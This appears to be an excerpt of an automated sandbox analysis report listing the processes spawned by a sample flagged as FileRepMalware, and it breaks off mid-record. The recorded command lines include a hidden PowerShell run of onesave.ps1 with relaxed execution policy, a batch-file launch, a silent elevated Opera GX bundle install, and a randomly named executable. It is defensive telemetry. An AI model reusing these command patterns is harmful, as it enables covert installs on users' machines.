                                                                                                                                                                                                              Has exited:false

                                                                                                                                                                                                              General

                                                                                                                                                                                                              Target ID:3
                                                                                                                                                                                                              Start time:03:29:21
                                                                                                                                                                                                              Start date:13/10/2024
                                                                                                                                                                                                              Path:C:\Users\user\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmp
                                                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                                                              Commandline:"C:\Users\user~1\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmp" /SL5="$30408,922170,832512,C:\Users\user\Desktop\SecuriteInfo.com.FileRepMalware.27261.32754.exe"
                                                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                                                              File size:3'199'488 bytes
                                                                                                                                                                                                              MD5 hash:5A617F74245E27297419874956A3FF3E
                                                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                                                              Programmed in:Borland Delphi
                                                                                                                                                                                                              Reputation:low
                                                                                                                                                                                                              Has exited:false

                                                                                                                                                                                                              General

                                                                                                                                                                                                              Target ID:5
                                                                                                                                                                                                              Start time:03:29:25
                                                                                                                                                                                                              Start date:13/10/2024
                                                                                                                                                                                                              Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                                                              Commandline:"C:\Windows\system32\cmd.exe" /C ""C:\Users\user~1\AppData\Local\Temp\is-GJEPE.tmp\do.bat""
                                                                                                                                                                                                              Imagebase:0x410000
                                                                                                                                                                                                              File size:236'544 bytes
                                                                                                                                                                                                              MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                                                              Reputation:high
                                                                                                                                                                                                              Has exited:false

                                                                                                                                                                                                              General

                                                                                                                                                                                                              Target ID:6
                                                                                                                                                                                                              Start time:03:29:25
                                                                                                                                                                                                              Start date:13/10/2024
                                                                                                                                                                                                              Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                              Wow64 process (32bit):false
                                                                                                                                                                                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                              Imagebase:0x7ff75da10000
                                                                                                                                                                                                              File size:862'208 bytes
                                                                                                                                                                                                              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                                                              Reputation:high
                                                                                                                                                                                                              Has exited:false

                                                                                                                                                                                                              General

                                                                                                                                                                                                              Target ID:7
                                                                                                                                                                                                              Start time:03:29:27
                                                                                                                                                                                                              Start date:13/10/2024
                                                                                                                                                                                                              Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                                                              Commandline:Powershell.exe -WindowStyle hidden -executionpolicy remotesigned -File onesave.ps1
                                                                                                                                                                                                              Imagebase:0x440000
                                                                                                                                                                                                              File size:433'152 bytes
                                                                                                                                                                                                              MD5 hash:C32CA4ACFCC635EC1EA6ED8A34DF5FAC
                                                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                                                              Reputation:high
                                                                                                                                                                                                              Has exited:false

                                                                                                                                                                                                              General

                                                                                                                                                                                                              Target ID:8
                                                                                                                                                                                                              Start time:03:29:36
                                                                                                                                                                                                              Start date:13/10/2024
                                                                                                                                                                                                              Path:C:\Users\user\AppData\Local\Temp\is-GJEPE.tmp\f_1.exe
                                                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                                                              Commandline:"./f_1.exe" --silent --allusers=0
                                                                                                                                                                                                              Imagebase:0x8f0000
                                                                                                                                                                                                              File size:3'313'856 bytes
                                                                                                                                                                                                              MD5 hash:C3D638B344B190AD1EFF657D6F30E489
                                                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                                                              Reputation:low
                                                                                                                                                                                                              Has exited:true

                                                                                                                                                                                                              General

                                                                                                                                                                                                              Target ID:10
                                                                                                                                                                                                              Start time:04:31:02
                                                                                                                                                                                                              Start date:13/10/2024
                                                                                                                                                                                                              Path:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                                                              Commandline:C:\Users\user~1\AppData\Local\Temp\7zSC6E64E0A\setup.exe --silent --allusers=0 --server-tracking-blob=Y2Q3MWViYTBlM2RlZjljMTNkMzRhMTU1MjZjOTIzY2NjNGJhNzVlZGFiMGIyODBlZTE0YmQzY2IyMTEwYjEzZjp7ImNvdW50cnkiOiJVUyIsImVkaXRpb24iOiJzdGQtMiIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFHWFNldHVwLmV4ZSIsInByb2R1Y3QiOiJvcGVyYV9neCIsInF1ZXJ5IjoiL29wZXJhX2d4L3N0YWJsZS9lZGl0aW9uL3N0ZC0yP3V0bV9zb3VyY2U9UFdOZ2FtZXMmdXRtX21lZGl1bT1wYSZ1dG1fY2FtcGFpZ249UFdOX1VTX1BCM19ERF8zNjYxJnV0bV9pZD0yYmFmZGVmMjY0MTg0MDIxOTE1NWU5MDk0ZjJlZDNhOSZ1dG1fY29udGVudD0zNjYxXzI5MTAiLCJ0aW1lc3RhbXAiOiIxNzI4ODA0NTcyLjMyMDMiLCJ1c2VyYWdlbnQiOiJJbm5vRG93bmxvYWRQbHVnaW4vMS41IiwidXRtIjp7ImNhbXBhaWduIjoiUFdOX1VTX1BCM19ERF8zNjYxIiwiY29udGVudCI6IjM2NjFfMjkxMCIsImlkIjoiMmJhZmRlZjI2NDE4NDAyMTkxNTVlOTA5NGYyZWQzYTkiLCJtZWRpdW0iOiJwYSIsInNvdXJjZSI6IlBXTmdhbWVzIn0sInV1aWQiOiJmZDNlZmVkYy1iODExLTQxMDgtYTI0MC05N2YyZGI0ZDBlY2UifQ==
                                                                                                                                                                                                              Imagebase:0x5f0000
                                                                                                                                                                                                              File size:6'820'248 bytes
                                                                                                                                                                                                              MD5 hash:F3FB308A1192B6F23B9798274A7BBD3D
                                                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                                                              Reputation:low
                                                                                                                                                                                                              Has exited:true

                                                                                                                                                                                                              General

                                                                                                                                                                                                              Target ID:11
                                                                                                                                                                                                              Start time:04:31:02
                                                                                                                                                                                                              Start date:13/10/2024
                                                                                                                                                                                                              Path:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                                                              Commandline:C:\Users\user~1\AppData\Local\Temp\7zSC6E64E0A\setup.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Crash Reports" "--crash-count-file=C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\crash_count.txt" --url=https://crashstats-collector-2.opera.com/ --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktopGX --annotation=ver=114.0.5282.93 --initial-client-data=0x324,0x328,0x32c,0x300,0x330,0x69288c0c,0x69288c18,0x69288c24
                                                                                                                                                                                                              Imagebase:0x5f0000
                                                                                                                                                                                                              File size:6'820'248 bytes
                                                                                                                                                                                                              MD5 hash:F3FB308A1192B6F23B9798274A7BBD3D
                                                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                                                              Reputation:low
                                                                                                                                                                                                              Has exited:true

                                                                                                                                                                                                              General

                                                                                                                                                                                                              Target ID:12
                                                                                                                                                                                                              Start time:04:31:03
                                                                                                                                                                                                              Start date:13/10/2024
                                                                                                                                                                                                              Path:C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\setup.exe
                                                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                                                              Commandline:"C:\Users\user~1\AppData\Local\Temp\.opera\Opera GX Installer Temp\setup.exe" --version
                                                                                                                                                                                                              Imagebase:0x1a0000
                                                                                                                                                                                                              File size:6'820'248 bytes
                                                                                                                                                                                                              MD5 hash:F3FB308A1192B6F23B9798274A7BBD3D
                                                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                                                              Reputation:low
                                                                                                                                                                                                              Has exited:true

                                                                                                                                                                                                              General

                                                                                                                                                                                                              Target ID:13
                                                                                                                                                                                                              Start time:04:31:04
                                                                                                                                                                                                              Start date:13/10/2024
                                                                                                                                                                                                              Path:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                                                              Commandline:"C:\Users\user~1\AppData\Local\Temp\7zSC6E64E0A\setup.exe" --backend --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --vought_browser=0 --launchopera=1 --installfolder="C:\Users\user\AppData\Local\Programs\Opera GX" --profile-folder --language=en-GB --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=1 --run-at-startup=1 --server-tracking-data=server_tracking_data --initial-pid=7884 --package-dir-prefix="C:\Users\user~1\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_20241013043104" --session-guid=f5f8173d-e790-498e-903f-765161af7b2d --server-tracking-blob=MzM3YmQyMjk0NzZiNWY1YjBkNGY0OTgwMDk2ZjUyOGEyNmI5ZmFlN2UxNTJiNTZkYWZhZDVhYjk3NWFjMjMwOTp7ImNvdW50cnkiOiJVUyIsImVkaXRpb24iOiJzdGQtMiIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFHWFNldHVwLmV4ZSIsInByb2R1Y3QiOnsibmFtZSI6Im9wZXJhX2d4In0sInF1ZXJ5IjoiL29wZXJhX2d4L3N0YWJsZS9lZGl0aW9uL3N0ZC0yP3V0bV9zb3VyY2U9UFdOZ2FtZXMmdXRtX21lZGl1bT1wYSZ1dG1fY2FtcGFpZ249UFdOX1VTX1BCM19ERF8zNjYxJnV0bV9pZD0yYmFmZGVmMjY0MTg0MDIxOTE1NWU5MDk0ZjJlZDNhOSZ1dG1fY29udGVudD0zNjYxXzI5MTAiLCJzeXN0ZW0iOnsicGxhdGZvcm0iOnsiYXJjaCI6Ing4Nl82NCIsIm9wc3lzIjoiV2luZG93cyIsIm9wc3lzLXZlcnNpb24iOiIxMCIsInBhY2thZ2UiOiJFWEUifX0sInRpbWVzdGFtcCI6IjE3Mjg4MDQ1NzIuMzIwMyIsInVzZXJhZ2VudCI6Iklubm9Eb3dubG9hZFBsdWdpbi8xLjUiLCJ1dG0iOnsiY2FtcGFpZ24iOiJQV05fVVNfUEIzX0REXzM2NjEiLCJjb250ZW50IjoiMzY2MV8yOTEwIiwiaWQiOiIyYmFmZGVmMjY0MTg0MDIxOTE1NWU5MDk0ZjJlZDNhOSIsIm1lZGl1bSI6InBhIiwic291cmNlIjoiUFdOZ2FtZXMifSwidXVpZCI6ImZkM2VmZWRjLWI4MTEtNDEwOC1hMjQwLTk3ZjJkYjRkMGVjZSJ9 --silent --desktopshortcut=1 --wait-for-package --initial-proc-handle=E805000000000000
                                                                                                                                                                                                              Imagebase:0x5f0000
                                                                                                                                                                                                              File size:6'820'248 bytes
                                                                                                                                                                                                              MD5 hash:F3FB308A1192B6F23B9798274A7BBD3D
                                                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                                                              Reputation:low
                                                                                                                                                                                                              Has exited:true

                                                                                                                                                                                                              General

                                                                                                                                                                                                              Target ID:14
                                                                                                                                                                                                              Start time:04:31:04
                                                                                                                                                                                                              Start date:13/10/2024
                                                                                                                                                                                                              Path:C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe
                                                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                                                              Commandline:C:\Users\user~1\AppData\Local\Temp\7zSC6E64E0A\setup.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Crash Reports" "--crash-count-file=C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\crash_count.txt" --url=https://crashstats-collector-2.opera.com/ --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktopGX --annotation=ver=114.0.5282.93 --initial-client-data=0x340,0x344,0x348,0x304,0x30c,0x68488c0c,0x68488c18,0x68488c24
                                                                                                                                                                                                              Imagebase:0x5f0000
                                                                                                                                                                                                              File size:6'820'248 bytes
                                                                                                                                                                                                              MD5 hash:F3FB308A1192B6F23B9798274A7BBD3D
                                                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                                                              Reputation:low
                                                                                                                                                                                                              Has exited:true

                                                                                                                                                                                                              General

                                                                                                                                                                                                              Target ID:19
                                                                                                                                                                                                              Start time:04:33:03
                                                                                                                                                                                                              Start date:13/10/2024
                                                                                                                                                                                                              Path:C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe
                                                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                                                              Commandline:"C:\Users\user~1\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe"
                                                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                                                              File size:1'499'104 bytes
                                                                                                                                                                                                              MD5 hash:E9A2209B61F4BE34F25069A6E54AFFEA
                                                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                                                              Reputation:moderate
                                                                                                                                                                                                              Has exited:true

                                                                                                                                                                                                              General

                                                                                                                                                                                                              Target ID:20
                                                                                                                                                                                                              Start time:04:33:04
                                                                                                                                                                                                              Start date:13/10/2024
                                                                                                                                                                                                              Path:C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exe
                                                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                                                              Commandline:"C:\Users\user~1\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exe" --version
                                                                                                                                                                                                              Imagebase:0x6f0000
                                                                                                                                                                                                              File size:1'853'592 bytes
                                                                                                                                                                                                              MD5 hash:4C8FBED0044DA34AD25F781C3D117A66
                                                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                                                              Reputation:moderate
                                                                                                                                                                                                              Has exited:true

                                                                                                                                                                                                              General

                                                                                                                                                                                                              Target ID:21
                                                                                                                                                                                                              Start time:04:33:04
                                                                                                                                                                                                              Start date:13/10/2024
                                                                                                                                                                                                              Path:C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exe
                                                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                                                              Commandline:"C:\Users\user~1\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Crash Reports" "--crash-count-file=C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktopGX --annotation=ver=73.0.3856.382 --initial-client-data=0x270,0x274,0x278,0x24c,0x27c,0x8a4f48,0x8a4f58,0x8a4f64
                                                                                                                                                                                                              Imagebase:0x6f0000
                                                                                                                                                                                                              File size:1'853'592 bytes
                                                                                                                                                                                                              MD5 hash:4C8FBED0044DA34AD25F781C3D117A66
                                                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                                                              Reputation:moderate
                                                                                                                                                                                                              Has exited:true

                                                                                                                                                                                                              General

                                                                                                                                                                                                              Target ID:23
                                                                                                                                                                                                              Start time:04:33:54
                                                                                                                                                                                                              Start date:13/10/2024
                                                                                                                                                                                                              Path:C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exe
                                                                                                                                                                                                              Wow64 process (32bit):false
                                                                                                                                                                                                              Commandline:"C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exe" --backend --initial-pid=7884 --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --vought_browser=0 --launchopera=1 --installfolder="C:\Users\user\AppData\Local\Programs\Opera GX" --profile-folder --language=en-GB --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=1 --run-at-startup=1 --server-tracking-data=server_tracking_data --package-dir="C:\Users\user~1\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041" --session-guid=f5f8173d-e790-498e-903f-765161af7b2d --server-tracking-blob=MzM3YmQyMjk0NzZiNWY1YjBkNGY0OTgwMDk2ZjUyOGEyNmI5ZmFlN2UxNTJiNTZkYWZhZDVhYjk3NWFjMjMwOTp7ImNvdW50cnkiOiJVUyIsImVkaXRpb24iOiJzdGQtMiIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFHWFNldHVwLmV4ZSIsInByb2R1Y3QiOnsibmFtZSI6Im9wZXJhX2d4In0sInF1ZXJ5IjoiL29wZXJhX2d4L3N0YWJsZS9lZGl0aW9uL3N0ZC0yP3V0bV9zb3VyY2U9UFdOZ2FtZXMmdXRtX21lZGl1bT1wYSZ1dG1fY2FtcGFpZ249UFdOX1VTX1BCM19ERF8zNjYxJnV0bV9pZD0yYmFmZGVmMjY0MTg0MDIxOTE1NWU5MDk0ZjJlZDNhOSZ1dG1fY29udGVudD0zNjYxXzI5MTAiLCJzeXN0ZW0iOnsicGxhdGZvcm0iOnsiYXJjaCI6Ing4Nl82NCIsIm9wc3lzIjoiV2luZG93cyIsIm9wc3lzLXZlcnNpb24iOiIxMCIsInBhY2thZ2UiOiJFWEUifX0sInRpbWVzdGFtcCI6IjE3Mjg4MDQ1NzIuMzIwMyIsInVzZXJhZ2VudCI6Iklubm9Eb3dubG9hZFBsdWdpbi8xLjUiLCJ1dG0iOnsiY2FtcGFpZ24iOiJQV05fVVNfUEIzX0REXzM2NjEiLCJjb250ZW50IjoiMzY2MV8yOTEwIiwiaWQiOiIyYmFmZGVmMjY0MTg0MDIxOTE1NWU5MDk0ZjJlZDNhOSIsIm1lZGl1bSI6InBhIiwic291cmNlIjoiUFdOZ2FtZXMifSwidXVpZCI6ImZkM2VmZWRjLWI4MTEtNDEwOC1hMjQwLTk3ZjJkYjRkMGVjZSJ9 --silent --desktopshortcut=1 --install-subfolder=114.0.5282.93
                                                                                                                                                                                                              Imagebase:0x7ff73d660000
                                                                                                                                                                                                              File size:7'977'368 bytes
                                                                                                                                                                                                              MD5 hash:482A2C147099CCA899B4D09FD7D572AB
                                                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                                                              Antivirus matches:
                                                                                                                                                                                                              • Detection: 0%, ReversingLabs
                                                                                                                                                                                                              • Detection: 0%, Virustotal, Browse
                                                                                                                                                                                                              Reputation:low
                                                                                                                                                                                                              Has exited:true

                                                                                                                                                                                                              General

                                                                                                                                                                                                              Target ID:24
                                                                                                                                                                                                              Start time:04:33:54
                                                                                                                                                                                                              Start date:13/10/2024
                                                                                                                                                                                                              Path:C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exe
                                                                                                                                                                                                              Wow64 process (32bit):false
                                                                                                                                                                                                              Commandline:"C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Crash Reports" "--crash-count-file=C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\crash_count.txt" --url=https://crashstats-collector-2.opera.com/ --annotation=channel=Stable --annotation=plat=Win64 --annotation=prod=OperaDesktopGX --annotation=ver=114.0.5282.93 --initial-client-data=0x258,0x278,0x27c,0x254,0x280,0x7ffb0c359d80,0x7ffb0c359d8c,0x7ffb0c359d98
                                                                                                                                                                                                              Imagebase:0x7ff73d660000
                                                                                                                                                                                                              File size:7'977'368 bytes
                                                                                                                                                                                                              MD5 hash:482A2C147099CCA899B4D09FD7D572AB
                                                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                                                              Reputation:low
                                                                                                                                                                                                              Has exited:true

                                                                                                                                                                                                              General

                                                                                                                                                                                                              Target ID:26
                                                                                                                                                                                                              Start time:04:33:56
                                                                                                                                                                                                              Start date:13/10/2024
                                                                                                                                                                                                              Path:C:\Windows\explorer.exe
                                                                                                                                                                                                              Wow64 process (32bit):false
                                                                                                                                                                                                              Commandline:C:\Windows\Explorer.EXE
                                                                                                                                                                                                              Imagebase:0x7ff70ffd0000
                                                                                                                                                                                                              File size:5'141'208 bytes
                                                                                                                                                                                                              MD5 hash:662F4F92FDE3557E86D110526BB578D5
                                                                                                                                                                                                              Has elevated privileges:false
                                                                                                                                                                                                              Has administrator privileges:false
                                                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                                                              Reputation:high
                                                                                                                                                                                                              Has exited:false

                                                                                                                                                                                                              General

                                                                                                                                                                                                              Target ID:27
                                                                                                                                                                                                              Start time:04:34:00
                                                                                                                                                                                                              Start date:13/10/2024
                                                                                                                                                                                                              Path:C:\Program Files (x86)\yUccssJEPrTdXUZGppefYQXvLIULRTtBJBzNaPGkLySlwtZDZ\MfpbxBQuepbP.exe
                                                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                                                              Commandline:"C:\Program Files (x86)\yUccssJEPrTdXUZGppefYQXvLIULRTtBJBzNaPGkLySlwtZDZ\MfpbxBQuepbP.exe"
                                                                                                                                                                                                              Imagebase:0x250000
                                                                                                                                                                                                              File size:140'800 bytes
                                                                                                                                                                                                              MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                                                                                                                                                                              Has elevated privileges:false
                                                                                                                                                                                                              Has administrator privileges:false
                                                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                                                              Reputation:high
                                                                                                                                                                                                              Has exited:false

                                                                                                                                                                                                              General

                                                                                                                                                                                                              Target ID:29
                                                                                                                                                                                                              Start time:04:34:00
                                                                                                                                                                                                              Start date:13/10/2024
                                                                                                                                                                                                              Path:C:\Program Files (x86)\yUccssJEPrTdXUZGppefYQXvLIULRTtBJBzNaPGkLySlwtZDZ\MfpbxBQuepbP.exe
                                                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                                                              Commandline:"C:\Program Files (x86)\yUccssJEPrTdXUZGppefYQXvLIULRTtBJBzNaPGkLySlwtZDZ\MfpbxBQuepbP.exe"
                                                                                                                                                                                                              Imagebase:0x250000
                                                                                                                                                                                                              File size:140'800 bytes
                                                                                                                                                                                                              MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                                                                                                                                                                              Has elevated privileges:false
                                                                                                                                                                                                              Has administrator privileges:false
                                                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                                                              Has exited:false

                                                                                                                                                                                                              General

                                                                                                                                                                                                              Target ID:30
                                                                                                                                                                                                              Start time:04:34:01
                                                                                                                                                                                                              Start date:13/10/2024
                                                                                                                                                                                                              Path:C:\Program Files (x86)\yUccssJEPrTdXUZGppefYQXvLIULRTtBJBzNaPGkLySlwtZDZ\MfpbxBQuepbP.exe
                                                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                                                              Commandline:"C:\Program Files (x86)\yUccssJEPrTdXUZGppefYQXvLIULRTtBJBzNaPGkLySlwtZDZ\MfpbxBQuepbP.exe"
                                                                                                                                                                                                              Imagebase:0x250000
                                                                                                                                                                                                              File size:140'800 bytes
                                                                                                                                                                                                              MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                                                                                                                                                                              Has elevated privileges:false
                                                                                                                                                                                                              Has administrator privileges:false
                                                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                                                              Has exited:false

                                                                                                                                                                                                              General

                                                                                                                                                                                                              Target ID:31
                                                                                                                                                                                                              Start time:04:34:01
                                                                                                                                                                                                              Start date:13/10/2024
                                                                                                                                                                                                              Path:C:\Program Files (x86)\yUccssJEPrTdXUZGppefYQXvLIULRTtBJBzNaPGkLySlwtZDZ\MfpbxBQuepbP.exe
                                                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                                                              Commandline:"C:\Program Files (x86)\yUccssJEPrTdXUZGppefYQXvLIULRTtBJBzNaPGkLySlwtZDZ\MfpbxBQuepbP.exe"
                                                                                                                                                                                                              Imagebase:0x250000
                                                                                                                                                                                                              File size:140'800 bytes
                                                                                                                                                                                                              MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                                                                                                                                                                              Has elevated privileges:false
                                                                                                                                                                                                              Has administrator privileges:false
                                                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                                                              Has exited:false

                                                                                                                                                                                                              General

                                                                                                                                                                                                              Target ID:32
                                                                                                                                                                                                              Start time:04:34:02
                                                                                                                                                                                                              Start date:13/10/2024
                                                                                                                                                                                                              Path:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              Wow64 process (32bit):false
                                                                                                                                                                                                              Commandline:"C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe" --start-maximized
                                                                                                                                                                                                              Imagebase:0x7ff6b12a0000
                                                                                                                                                                                                              File size:1'493'400 bytes
                                                                                                                                                                                                              MD5 hash:0A28FF19DB4A60C38A92C17A53ECAA1E
                                                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                                                              Has exited:true

                                                                                                                                                                                                              General

                                                                                                                                                                                                              Target ID:33
                                                                                                                                                                                                              Start time:04:34:02
                                                                                                                                                                                                              Start date:13/10/2024
                                                                                                                                                                                                              Path:C:\Program Files (x86)\yUccssJEPrTdXUZGppefYQXvLIULRTtBJBzNaPGkLySlwtZDZ\MfpbxBQuepbP.exe
                                                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                                                              Commandline:"C:\Program Files (x86)\yUccssJEPrTdXUZGppefYQXvLIULRTtBJBzNaPGkLySlwtZDZ\MfpbxBQuepbP.exe"
                                                                                                                                                                                                              Imagebase:0x250000
                                                                                                                                                                                                              File size:140'800 bytes
                                                                                                                                                                                                              MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                                                                                                                                                                              Has elevated privileges:false
                                                                                                                                                                                                              Has administrator privileges:false
                                                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                                                              Has exited:false

                                                                                                                                                                                                              General

                                                                                                                                                                                                              Target ID:34
                                                                                                                                                                                                              Start time:04:34:03
                                                                                                                                                                                                              Start date:13/10/2024
                                                                                                                                                                                                              Path:C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exe
                                                                                                                                                                                                              Wow64 process (32bit):false
                                                                                                                                                                                                              Commandline:"C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exe" --scheduledtask --bypasslauncher 0
                                                                                                                                                                                                              Imagebase:0x7ff7c73f0000
                                                                                                                                                                                                              File size:5'819'288 bytes
                                                                                                                                                                                                              MD5 hash:79F334AD5B1392E99CE978F0072AE109
                                                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                                                              Has exited:true

                                                                                                                                                                                                              General

                                                                                                                                                                                                              Target ID:35
                                                                                                                                                                                                              Start time:04:34:03
                                                                                                                                                                                                              Start date:13/10/2024
                                                                                                                                                                                                              Path:C:\Program Files (x86)\yUccssJEPrTdXUZGppefYQXvLIULRTtBJBzNaPGkLySlwtZDZ\MfpbxBQuepbP.exe
                                                                                                                                                                                                              Wow64 process (32bit):true
